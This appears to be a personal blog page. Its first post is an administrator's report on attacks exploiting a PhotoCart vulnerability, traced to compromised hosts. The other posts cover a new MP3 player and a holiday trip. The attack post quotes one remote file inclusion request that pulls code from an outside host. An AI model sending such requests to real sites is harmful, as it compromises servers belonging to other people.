PhotoCart vulnerability claims another website

UPDATE: 12/31 and it appears Softlayer took the server on IP 208.101.16.120 offline at this time. The PhotoCart attackers apparently aren't aware of this yet because there is still an ongoing attack referencing empzone.com as I write this. At least it will do no harm to innocent sites at the moment. Thank You Softlayer for the prompt action.

The latest wave of PhotoCart vulnerability attacks just claimed a new website.

This time they claimed Husnaweb.com, someone's blog, as a victim.

I first notified the owner of Husnaweb and the data center Softlayer of the problem on 12/20. They promptly removed the file http://www.husnaweb.com/c.in from the server and the PhotoCart attacks stopped for a couple of days. Then the attacks started up again when the file showed up on the server again, so apparently Husnaweb was still vulnerable itself and being actively exploited.

I wrote back to the site owner and Softlayer again on 12/25 assuming they would deal with it eventually, being it was a holiday, and today noticed they appear to have simply given up on the blog as Husnaweb is gone and it's now a parked page on GoDaddy.

Today the attacks started up all over again using this page request:

"GET /PhotoCart/adminprint.php?path=http://empzone.com/c.ar?"

host empzone.com has address 208.101.16.120
host 208.101.16.120 -> 208.101.16.120-static.reverse.baserunner.net

whois 208.101.16.120

OrgName: SoftLayer Technologies Inc.
OrgID: SOFTL
Address: 1950 N Stemmons Freeway
City: Dallas
StateProv: TX
PostalCode: 75207
Country: US

NetRange: 208.101.0.0 - 208.101.63.255

Looks like empzone.com will be their next victim, notifying data center Softlayer yet again that another Softlayer customer has been breached.

Anyone notice a trend here?

The other site I reported about, wnydir.com, was also a Softlayer customer.

host wnydir.com has address 208.101.16.120
host 208.101.16.120 -> 208.101.16.120-static.reverse.baserunner.net

The reverse DNS on the sites all point to baserunner.net which says "Coming Soon", no contact information.

I must be getting slow in my old age, they're all on the same IP address, it would appear that the server has been compromised.

Ah well, this makes my next letter to Softlayer a little different now doesn't it?

The Zen of MP3 Part Deux Point Oh

Well, I was a bad boy and dropped my Zen micro one too many times. A few days ago I dropped the damn thing and it came up with a panic menu with options like FORMAT, REBOOT, and all sorts of goodies. Luckily a few minutes later it came back to life and ran for a couple of days more until, you guessed it, I dropped it again and it won't get past the failure menu.

DEAD.

It's really sad, you can hear the hard disk scraping when you put your ear to the Zen Micro, just sad.

Anyway, I ran out to Worst Buy the next day and got a replacement Zen and this time picked the black version of the 4GB Zen V Plus which is about half the size of the Zen Micro, has a color display, can show pictures and videos, quite a cute little toy. Didn't even have to install new software or a new USB cable as it works with my existing USB cable just fine. Uploaded all my MP3's and Yahoo Music and was back in action in no time.

For those of you about to ask why I didn't get an iPod, my wife has 2 of the fucking things and I hate using them. More than I loathe Apple and the crappy iPod interface, I loathe being locked into iTunes. They can take that proprietary shit and shove it which is why I also didn't get a Zune although they looked pretty cool. She didn't buy them either, they were gifts, so she's just stuck using them to be polite. FWIW, she picked my first Zen for me as a present so we all know what she prefers!

The new Zen V rocks!

It's not touch sensitive like the old Zen Micro and has mechanical switches and everything is flush to the case so it's damn near next to impossible to accidentally engage a command so I've not used the LOCK function yet.

The only downsides I've seen so far is that scrolling the list of All Tracks is slower than shit and if your unit LOCKS UP, which mine did once setting it up, the RESET button on the side needs tools that only a microbiologist would possess to depress that micro button. Word to the wise, keep a safety pin handy in case it locks up because you can't open the back and remove the battery or anything useful like that, you're just fucked without micro-tools handy.

Since I was replacing the Zen it seemed a no brainer to treat myself with a pair of new headphones and got a set of Bose Triport headphones which are very nice. Not the most expensive Bose headphones out there, but they sound damn nice compared to the Sony headphones I was using.

Yes, the Bose are big but I hate earbuds.

Anyway, this time the Zen upgrade was completely painless and I'm a happy boy with a new toy.

Ho! Ho! Ho! I'm Baaaaack....

Went away for a few days to visit my Mom in Nevada for Christmas, a brief 5 hour drive, and surprisingly had very little separation anxiety from the computer, internet, blog or any of this crap. Maybe the free Wifi helped with the 'net separation anxiety but I digress.

Rented the usual suite at the Holiday Inn Express, which is by far the best hotel in that pit of a Nevada town. Got a nice 55" HDTV with a DVD player in the living room and a huge whirlpool tub in the bedroom. They have free WiFi of course, mentioned above, which I used sparingly just to keep an eye on my sites and make sure they were up and collecting coin.

Quite nice for the price.

Brought a couple of DVD's to watch at night, some bourbon for the whirlpool, and I was good to go.

Sadly, the cat had a crappy Christmas as he had a traumatic moment right before we left. We were just about to head out to my mom’s place and for reasons unknown the cat decided to sit right between where my wife and I were standing fairly close together. Suddenly, my wife accidentally steps on the cats paw at which point he screams. She hears this noise and quickly turns around to see what’s wrong with the cat, still standing on his paw grinding it further into the carpet as she turns on it. The cat starts hissing, spitting, screaming and flipping out.

She finally realized what was going on and takes her foot off the cat at which point there was one pissed off ball of flying fur running through the house. The cat, in typical cat fashion, was hiding under everything until I finally captured him 15 minutes later. Upon close inspection the cat turned out to be very upset but completely unhurt from being stepped upon.

Unfortunately, we had to leave while he was still bent out of shape and luckily for us he wasn’t holding a grudge and was happy to see us when we got back the next day.

Now the fun part of this short holiday vacation was the bad weather on the return trip.

Almost all the way back to Reno and beyond there were very high winds 45 mph and higher that were kicking up dust and sand storms, pelting my car with rocks, and there were huge tumbleweeds rolling all over the roads. One of the big tumbleweeds got pulverized by the SUV in front of my car and we got pelted with all the tumbleweed chunks. We managed to get past Reno right before before a couple of 18 wheelers got blown over, one of them a Walmart truck according to the news.

If the wind, dust, rocks and tumbleweeds weren't bad enough, we had pouring rain west of Sacramento and the wind was still blowing hard which caused a lot of traffic jams as the nervous drivers all started breaking everywhere.

Took forever to get home...

Don't you just *LOVE* the holidays?

BAH! HUMBUG!